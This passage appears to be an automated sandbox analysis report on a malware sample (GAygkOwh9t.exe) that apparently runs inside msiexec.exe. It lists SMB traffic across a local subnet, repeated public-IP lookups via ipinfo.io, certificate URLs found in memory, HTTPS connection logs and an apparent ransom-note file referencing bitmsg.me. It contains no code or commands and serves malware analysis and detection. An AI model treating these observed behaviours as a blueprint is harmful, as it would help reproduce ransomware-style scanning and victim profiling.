Source: global traffic	TCP traffic: 192.168.1.94:139
Source: global traffic	TCP traffic: 192.168.1.100:139
Source: global traffic	TCP traffic: 192.168.1.209:139
Source: global traffic	TCP traffic: 192.168.1.131:139
Source: global traffic	TCP traffic: 192.168.1.145:139
Source: global traffic	TCP traffic: 192.168.1.113:139
Source: global traffic	TCP traffic: 192.168.1.50:139
Source: global traffic	TCP traffic: 192.168.1.125:139
Source: global traffic	TCP traffic: 192.168.1.52:139
Source: global traffic	TCP traffic: 192.168.1.173:139
Source: global traffic	TCP traffic: 192.168.1.229:139
Source: global traffic	TCP traffic: 192.168.1.139:139
Source: global traffic	TCP traffic: 192.168.1.77:139
Source: global traffic	TCP traffic: 192.168.1.254:139
Source: global traffic	TCP traffic: 192.168.1.180:139
Source: global traffic	TCP traffic: 192.168.1.35:139
Source: global traffic	TCP traffic: 192.168.1.89:139
Source: global traffic	TCP traffic: 192.168.1.49:139
Source: global traffic	TCP traffic: 192.168.1.48:139

Networking:

Detected TCP or UDP traffic on non-standard ports

Show sources

Source: global traffic

UDP traffic: 192.168.1.13:54081 -> 239.255.255.250:3702

May check the online IP address of the machine

Show sources

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Found strings which match to known social media urls

Show sources

Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: login.yahoo.com equals www.yahoo.com (Yahoo)
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: ipinfo.io

Urls found in memory or binary data

Show sources

Source: msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp	String found in binary or memory: http://
Source: GAygkOwh9t.exe, 00000004.00000003.16897611005.000000003CE5C000.00000004.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
Source: GAygkOwh9t.exe, 00000004.00000003.16897611005.000000003CE5C000.00000004.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000003.16899152606.0000000027AA2000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16951142343.000000003CD3E000.00000004.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412825821.00000000113B0000.00000004.sdmp, msiexec.exe, 00000007.00000002.17433986230.00000000099F0000.00000004.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0x
Source: msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp	String found in binary or memory: http://apps.identrust.com/roots/mb
Source: msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp	String found in binary or memory: http://ce
Source: msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://cert.in
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp	String found in binary or memory: http://cert.int-x3.letsencrypt.org/0
Source: msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://ch
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://cps.letsencrypt.org0
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412825821.00000000113B0000.00000004.sdmp, msiexec.exe, 00000007.00000002.17433986230.00000000099F0000.00000004.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://crl.comodo.net/UTN-USERFirst-Hardware.crl0q
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000003.16899152606.0000000027AA2000.00000004.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412825821.00000000113B0000.00000004.sdmp, msiexec.exe, 00000007.00000002.17433986230.00000000099F0000.00000004.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crlG
Source: GAygkOwh9t.exe, 00000004.00000002.16956288117.000000003CDED000.00000004.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crlot
Source: GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: http://crl.oces.certifikat.dk/oces.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://crl.pki.wellsfargo.com/wsprca.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://crl.ssc.lt/root-c/cacrl.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16898769649.000000003CDB3000.00000004.sdmp	String found in binary or memory: http://crl.usertrust.com/UTN-USERFirst-Object.crl0)
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://crt.comodoca.com/UTNAddTrustServerCA.crt0$
Source: msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownloa
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000003.16899152606.0000000027AA2000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16951142343.000000003CD3E000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?21fd71ee3b624
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabO41-K
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2aaa123
Source: GAygkOwh9t.exe, 00000004.00000003.16898139248.000000003CCDE000.00000004.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cabS
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://cybertrust.omniroot.com/repository.cfm0
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000003.16900005344.0000000027ABD000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000002.16951142343.000000003CD3E000.00000004.sdmp	String found in binary or memory: http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUx
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412825821.00000000113B0000.00000004.sdmp, msiexec.exe, 00000007.00000002.17433986230.00000000099F0000.00000004.sdmp	String found in binary or memory: http://isrg.trustid.ocsp.identrust.com0;
Source: GAygkOwh9t.exe, 00000004.00000003.16898769649.000000003CDB3000.00000004.sdmp	String found in binary or memory: http://isrg.trustid.ocsp.identrust.com1.3.6.1.5.5.7.48.2http://apps.identrust.com/roots/dstrootcax3.
Source: msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://isrg.trustid.ocsp.identrust.comhttp://crl.identrust.com/DSTROOTCAX3CRL.crl
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: http://ocsp.int-x3.letsencrypt.org
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000003.16898139248.000000003CCDE000.00000004.sdmp	String found in binary or memory: http://ocsp.int-x3.letsencrypt.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUq
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://ocsp.int-x3.letsencrypt.org0/
Source: msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://ocsp.int-x3.letsencrypt.org~
Source: GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp	String found in binary or memory: http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://users.ocsp.d-trust.net03
Source: msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://www
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.acabogacia.org/doc0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.acabogacia.org0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.ancert.com/cps0
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: http://www.certifikat.dk/repository0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.d-trust.net/crl/d-trust_root_class_2_ca_2007.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.d-trust.net0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp	String found in binary or memory: http://www.e-certchile.cl/html/productos/download/CPSv1.7.pdf01
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.e-me.lv/repository0
Source: GAygkOwh9t.exe, 00000004.00000002.16956288117.000000003CDED000.00000004.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crl
Source: GAygkOwh9t.exe, 00000004.00000002.16956288117.000000003CDED000.00000004.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crt0
Source: GAygkOwh9t.exe, 00000004.00000002.16956288117.000000003CDED000.00000004.sdmp	String found in binary or memory: http://www.e-szigno.hu/SZSZ/0
Source: GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp	String found in binary or memory: http://www.e-trust.be/CPS/QNcerts
Source: GAygkOwh9t.exe, 00000004.00000003.16898769649.000000003CDB3000.00000004.sdmp	String found in binary or memory: http://www.entrust.net/CRL/Client1.crl0
Source: msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://www.mi
Source: GAygkOwh9t.exe, 00000004.00000002.16957936632.000000003CE22000.00000004.sdmp, GAygkOwh9t.exe, 00000004.00000003.16898769649.000000003CDB3000.00000004.sdmp	String found in binary or memory: http://www.post.trust.ie/reposit/cps.html0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://www.public-trust.com/CPS/OmniRoot.html0
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://www.public-trust.com/cgi-bin/CRL/2018/cdp.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.ssc.lt/cps03
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_2_ca_II.crl
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: http://www.usertrust.com1
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp	String found in binary or memory: http://www.valicert.com/1
Source: GAygkOwh9t.exe, 00000004.00000003.16898769649.000000003CDB3000.00000004.sdmp	String found in binary or memory: http://www.wellsfargo.com/certpolicy0
Source: GAygkOwh9t.exe, 00000004.00000003.16898479526.000000003CD31000.00000004.sdmp	String found in binary or memory: http://www2.public-trust.com/crl/ct/ctroot.crl0
Source: GAygkOwh9t.exe, 00000004.00000002.16956288117.000000003CDED000.00000004.sdmp	String found in binary or memory: https://216.239.38.21/3v2-K
Source: GAygkOwh9t.exe, 00000004.00000002.16956288117.000000003CDED000.00000004.sdmp	String found in binary or memory: https://216.239.38.21/7v2-K
Source: GAygkOwh9t.exe, 00000004.00000002.16906687970.0000000000757000.00000004.sdmp, msiexec.exe, 00000006.00000002.17398564898.0000000001ED7000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp, msiexec.exe, 00000007.00000002.17422929041.0000000001FF7000.00000004.sdmp, msiexec.exe, 0000000A.00000003.17211891165.0000000003477000.00000004.sdmp, ==READ==THIS==PLEASE==4DE0B309.txt211.10.dr	String found in binary or memory: https://bitmsg.me/):
Source: msiexec.exe, 00000005.00000002.16949401019.00000000001BE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: https://ipinfo.io/
Source: msiexec.exe, 00000005.00000002.16949401019.00000000001BE000.00000004.sdmp	String found in binary or memory: https://ipinfo.io/)_
Source: msiexec.exe, 00000005.00000002.16949401019.00000000001BE000.00000004.sdmp	String found in binary or memory: https://ipinfo.io/9_
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: https://ipinfo.io/h4
Source: GAygkOwh9t.exe, 00000004.00000002.16933924379.00000000279F0000.00000004.sdmp	String found in binary or memory: https://ipinfo.io/i
Source: msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000005.00000002.16949401019.00000000001BE000.00000004.sdmp, msiexec.exe, 00000006.00000002.17412988073.00000000113FB000.00000004.sdmp	String found in binary or memory: https://letsencrypt.org/repository/0
Source: GAygkOwh9t.exe, 00000004.00000002.16956288117.000000003CDED000.00000004.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: GAygkOwh9t.exe, 00000004.00000002.16949936075.000000003CCDE000.00000004.sdmp, msiexec.exe, 00000005.00000002.16983013988.000000000B440000.00000004.sdmp, msiexec.exe, 00000006.00000002.17413219534.0000000011472000.00000004.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
Source: GAygkOwh9t.exe, 00000004.00000003.16897924297.000000003CE1A000.00000004.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E
Source: GAygkOwh9t.exe, 00000004.00000003.16898769649.000000003CDB3000.00000004.sdmp	String found in binary or memory: https://www.netlock.net/docs

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49236
Source: unknown	Network traffic detected: HTTP traffic on port 49213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49234
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 49211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49217
Source: unknown	Network traffic detected: HTTP traffic on port 49236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49214
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49207
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 49205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown	Network traffic detected: HTTP traffic on port 49189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49226
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 49237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49193
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49196
Source: unknown	Network traffic detected: HTTP traffic on port 49208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49197
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 49200 -> 443
